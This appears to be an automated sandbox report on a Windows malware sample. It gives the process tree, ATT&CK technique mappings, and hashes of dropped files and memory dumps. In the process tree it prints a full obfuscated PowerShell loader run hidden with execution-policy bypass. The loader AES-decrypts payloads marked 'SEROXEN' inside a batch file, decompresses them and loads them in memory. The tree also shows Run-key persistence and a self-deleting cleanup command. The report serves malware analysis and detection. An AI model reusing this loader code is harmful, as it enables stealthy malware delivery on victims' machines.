- C:\Users\Admin\AppData\Local\Temp\00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe
  "C:\Users\Admin\AppData\Local\Temp\00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "Uni.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2128
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe
      "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function fVoxT($oPFNE){ $iLIer=[System.Security.Cryptography.Aes]::Create(); $iLIer.Mode=[System.Security.Cryptography.CipherMode]::CBC; $iLIer.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $iLIer.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('reBXu8mWH2aPSY80rUiY+qal9/pmltEFd4YzecO07u8='); $iLIer.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SCYRvuoYNjwRzXky6x630g=='); $APXpI=$iLIer.CreateDecryptor(); $return_var=$APXpI.TransformFinalBlock($oPFNE, 0, $oPFNE.Length); $APXpI.Dispose(); $iLIer.Dispose(); $return_var;}function WmmYx($oPFNE){ $toQfi=New-Object System.IO.MemoryStream(,$oPFNE); $LIvgb=New-Object System.IO.MemoryStream; $Glywg=New-Object System.IO.Compression.GZipStream($toQfi, [IO.Compression.CompressionMode]::Decompress); $Glywg.CopyTo($LIvgb); $Glywg.Dispose(); $toQfi.Dispose(); $LIvgb.Dispose(); $LIvgb.ToArray();}function AHAKZ($oPFNE,$XBFqp){ $TaiwF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$oPFNE); $JZvRO=$TaiwF.EntryPoint; $JZvRO.Invoke($null, $XBFqp);}$ZxJef=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat').Split([Environment]::NewLine);foreach ($faxqr in $ZxJef) { if ($faxqr.StartsWith('SEROXEN')) { $MyVZJ=$faxqr.Substring(7); break; }}$tSYrU=[string[]]$MyVZJ.Split('\');$WdICd=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[0])));$eFigo=WmmYx (fVoxT ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tSYrU[1])));AHAKZ $eFigo (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));AHAKZ $WdICd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5076
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{c6a30ffa-26c5-4e0b-8198-b895a398635a}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1608
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{54015f30-3ccc-4ce6-a5c4-6f00d6c11656}
        5⤵
        
        PID:2888
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe" & exit
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5268
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5940
      - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5260
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"
        6⤵
        Kills process with taskkill
        
        PID:4428
      - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"
        6⤵
        Views/modifies file attributes
        
        PID:5484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3912

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4444

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4088

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3908

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4552

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:3120

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4696

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:776

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2640
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3012 -ip 3012
  2⤵
  PID:4852
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5740 -ip 5740
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:5560
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 624 -p 4636 -ip 4636
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5772
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 5596 -ip 5596
  2⤵
  PID:6104

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER54F3.tmp.csv

Filesize
43KB

MD5
8c3d77ee6b06afd6d47412d406546110

SHA1
6662a8707d5416dddab9467026e4c517894168b0

SHA256
8eeb4f844ad65acff4b28eb740c520740acec75e071ea8144f429eb9dec0e0cb

SHA512
16f9b7b0b2fac0580e8094ed2dff04a4c2ce84fc497ccce2017df0919329ac04cac84ac1dfa8bbd89466c2046c8a2a0d58d17d30d8210bf27b6526cbe169ed3b

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5513.tmp.txt

Filesize
13KB

MD5
ae539e8be19333cb60a8d59742ce86f8

SHA1
12dc173ca4c4c45f2456cc47a2ba9205f2a3e6b6

SHA256
6f9728a3cbd6ccef5d2713ea34398fe19b463ea47644b25e10e0073c786a6bb3

SHA512
6d3724a43727d82dbe4201ea406c72a734f51055097e96caf208e469c6e4d5f928461ba23e53d4408d03fd3f54c634c56518f40cb17ac1be8965eaaa70c4d1a9

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5562.tmp.csv

Filesize
41KB

MD5
88f92fdcf4b88e1bf1dc70145f3c13f7

SHA1
d5fb385efd1e280caff00d25d36437504633adf2

SHA256
1b1baabe3e6acd8e02b2f605afa488f13e3ddde8e63060559b63599b4f8051ff

SHA512
36c3dcbb4c9b018a03838c52d09da39e21b8aee3a6741bdf3697ba3f0766ee7acfc90b599fd3c388fbced0b18b48a1dd774d8d01f8f4a11d5e647acf45908cb5

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER55A2.tmp.txt

Filesize
13KB

MD5
1e813ac01f166cd183f2635396816095

SHA1
17c3be45c0e04a0cc1e896bb5f336fd92d191573

SHA256
49284a4ac6109c38a6b50f9121a8a24546c7349286bc5112443f3c89c3fff662

SHA512
0b319349fbcaeb76a54863fad84a71ae30d8bdd6c469c7a4729934c4db577d9c14460e5f764b8c49a525dc47b0d7fba7a40003ed6e7075ffbf76f10b432e3890

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5601.tmp.csv

Filesize
40KB

MD5
d9d67c1436a7f52aaa022f2511b83fc4

SHA1
0748c145725ed773429fff04d2c939a7d9765224

SHA256
90dcc2f6c94418869878a3c5ca06f16c184c8add73ecf82f8a94ee895af9db38

SHA512
9d5fba54b64217a77f5c4abee5f4088a9a0f86978c92f6244e83464eb30a44d334565a094683c7ef5186685be612a66886ebe168d624246cf01d6025f4e2ba89

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5631.tmp.txt

Filesize
13KB

MD5
8c8aaeaaee70ecfc157142be5a11fb80

SHA1
40176e82bbec3378f92268ad0f19f9e6fb199c3d

SHA256
1cf7d16505d1a5817673cd1c3e99691d923fa9c3fe6acb9ec14ca4f137b24fd6

SHA512
fe5c03ce29743cfb212e4ddc6b95716a6927971684950fc862ead2b6a82c5a9e06d5fc9d013cf86be4ea0c2b6f8bea3cba3ca8098fe29f75ef9a638d0af2a743

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat

Filesize
12.5MB

MD5
a4f9a8d05619cb7bcd36de94cce00098

SHA1
fd23538b08c68e5b1229fb6cff001153842ebdad

SHA256
6db8ff4761350cce286a0d448258b05bf0575c3a751b5a4efb6957ef691e167b

SHA512
0ec6e105196b4ad72085b5e0a515620aabb7167a3932fcc0500ac34e184cabbf24a03242a7cbf66937e043ddd467aa5aa1cbe24a01f57a80b83376057805a809

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ilwcskuz.4sp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/68-89-0x000001B902CF0000-0x000001B902D3E000-memory.dmp

Filesize
312KB

Download
memory/68-68-0x000001B90BB00000-0x000001B90BBB2000-memory.dmp

Filesize
712KB

Download
memory/68-88-0x000001B97FD00000-0x000001B97FD3C000-memory.dmp

Filesize
240KB

Download
memory/68-87-0x000001B980070000-0x000001B980232000-memory.dmp

Filesize
1.8MB

Download
memory/68-77-0x000001B97FDE0000-0x000001B97FE92000-memory.dmp

Filesize
712KB

Download
memory/68-76-0x000001B97FCB0000-0x000001B97FD00000-memory.dmp

Filesize
320KB

Download
memory/68-69-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/68-63-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/68-90-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/68-67-0x000001B90B6C0000-0x000001B90BAFE000-memory.dmp

Filesize
4.2MB

Download
memory/68-66-0x000001B90AEF0000-0x000001B90B6BA000-memory.dmp

Filesize
7.8MB

Download
memory/68-65-0x000001B902770000-0x000001B902CF4000-memory.dmp

Filesize
5.5MB

Download
memory/68-64-0x00007FFC78320000-0x00007FFC783DE000-memory.dmp

Filesize
760KB

Download
memory/68-92-0x000001B903000000-0x000001B903036000-memory.dmp

Filesize
216KB

Download
memory/68-91-0x00007FFC78320000-0x00007FFC783DE000-memory.dmp

Filesize
760KB

Download
memory/376-111-0x0000026BC5BE0000-0x0000026BC5C07000-memory.dmp

Filesize
156KB

Download
memory/376-115-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/616-106-0x0000017C12B40000-0x0000017C12B62000-memory.dmp

Filesize
136KB

Download
memory/616-112-0x0000017C12B70000-0x0000017C12B97000-memory.dmp

Filesize
156KB

Download
memory/616-113-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/672-108-0x0000025F277D0000-0x0000025F277F7000-memory.dmp

Filesize
156KB

Download
memory/672-117-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/744-129-0x000001520D3A0000-0x000001520D3C7000-memory.dmp

Filesize
156KB

Download
memory/744-130-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/964-119-0x0000011A65DF0000-0x0000011A65E17000-memory.dmp

Filesize
156KB

Download
memory/964-120-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1028-132-0x000001DD51B70000-0x000001DD51B97000-memory.dmp

Filesize
156KB

Download
memory/1028-133-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1092-135-0x0000023EBBFB0000-0x0000023EBBFD7000-memory.dmp

Filesize
156KB

Download
memory/1252-137-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1252-136-0x00000232DB760000-0x00000232DB787000-memory.dmp

Filesize
156KB

Download
memory/1608-39-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/1608-36-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/2352-32-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/2352-34-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/2996-104-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/2996-93-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/2996-96-0x00007FFC78320000-0x00007FFC783DE000-memory.dmp

Filesize
760KB

Download
memory/2996-94-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/2996-95-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/3624-97-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3624-102-0x0000000000840000-0x000000000085A000-memory.dmp

Filesize
104KB

Download
memory/3624-100-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3624-98-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/5076-29-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/5076-23-0x000002C128360000-0x000002C128DAC000-memory.dmp

Filesize
10.3MB

Download
memory/5076-37-0x00007FFC5A210000-0x00007FFC5ACD1000-memory.dmp

Filesize
10.8MB

Download
memory/5076-31-0x000002C129200000-0x000002C12920A000-memory.dmp

Filesize
40KB

Download
memory/5076-40-0x00007FFC5A210000-0x00007FFC5ACD1000-memory.dmp

Filesize
10.8MB

Download
memory/5076-28-0x000002C128F20000-0x000002C128F42000-memory.dmp

Filesize
136KB

Download
memory/5076-27-0x000002C128EC0000-0x000002C128F18000-memory.dmp

Filesize
352KB

Download
memory/5076-26-0x000002C128E60000-0x000002C128EB4000-memory.dmp

Filesize
336KB

Download
memory/5076-25-0x000002C128DB0000-0x000002C128E56000-memory.dmp

Filesize
664KB

Download
memory/5076-35-0x00007FFC5A213000-0x00007FFC5A215000-memory.dmp

Filesize
8KB

Download
memory/5076-22-0x00007FFC78320000-0x00007FFC783DE000-memory.dmp

Filesize
760KB

Download
memory/5076-21-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/5076-20-0x000002C128000000-0x000002C128024000-memory.dmp

Filesize
144KB

Download
memory/5076-19-0x00007FFC5A210000-0x00007FFC5ACD1000-memory.dmp

Filesize
10.8MB

Download
memory/5076-18-0x00007FFC5A210000-0x00007FFC5ACD1000-memory.dmp

Filesize
10.8MB

Download
memory/5076-8-0x000002C16AEA0000-0x000002C16AEC2000-memory.dmp

Filesize
136KB

Download
memory/5076-7-0x00007FFC5A213000-0x00007FFC5A215000-memory.dmp

Filesize
8KB

Download
memory/5076-1648-0x00007FFC69333000-0x00007FFC69334000-memory.dmp

Filesize
4KB

Download
memory/5076-1650-0x00007FFC5A210000-0x00007FFC5ACD1000-memory.dmp

Filesize
10.8MB

Download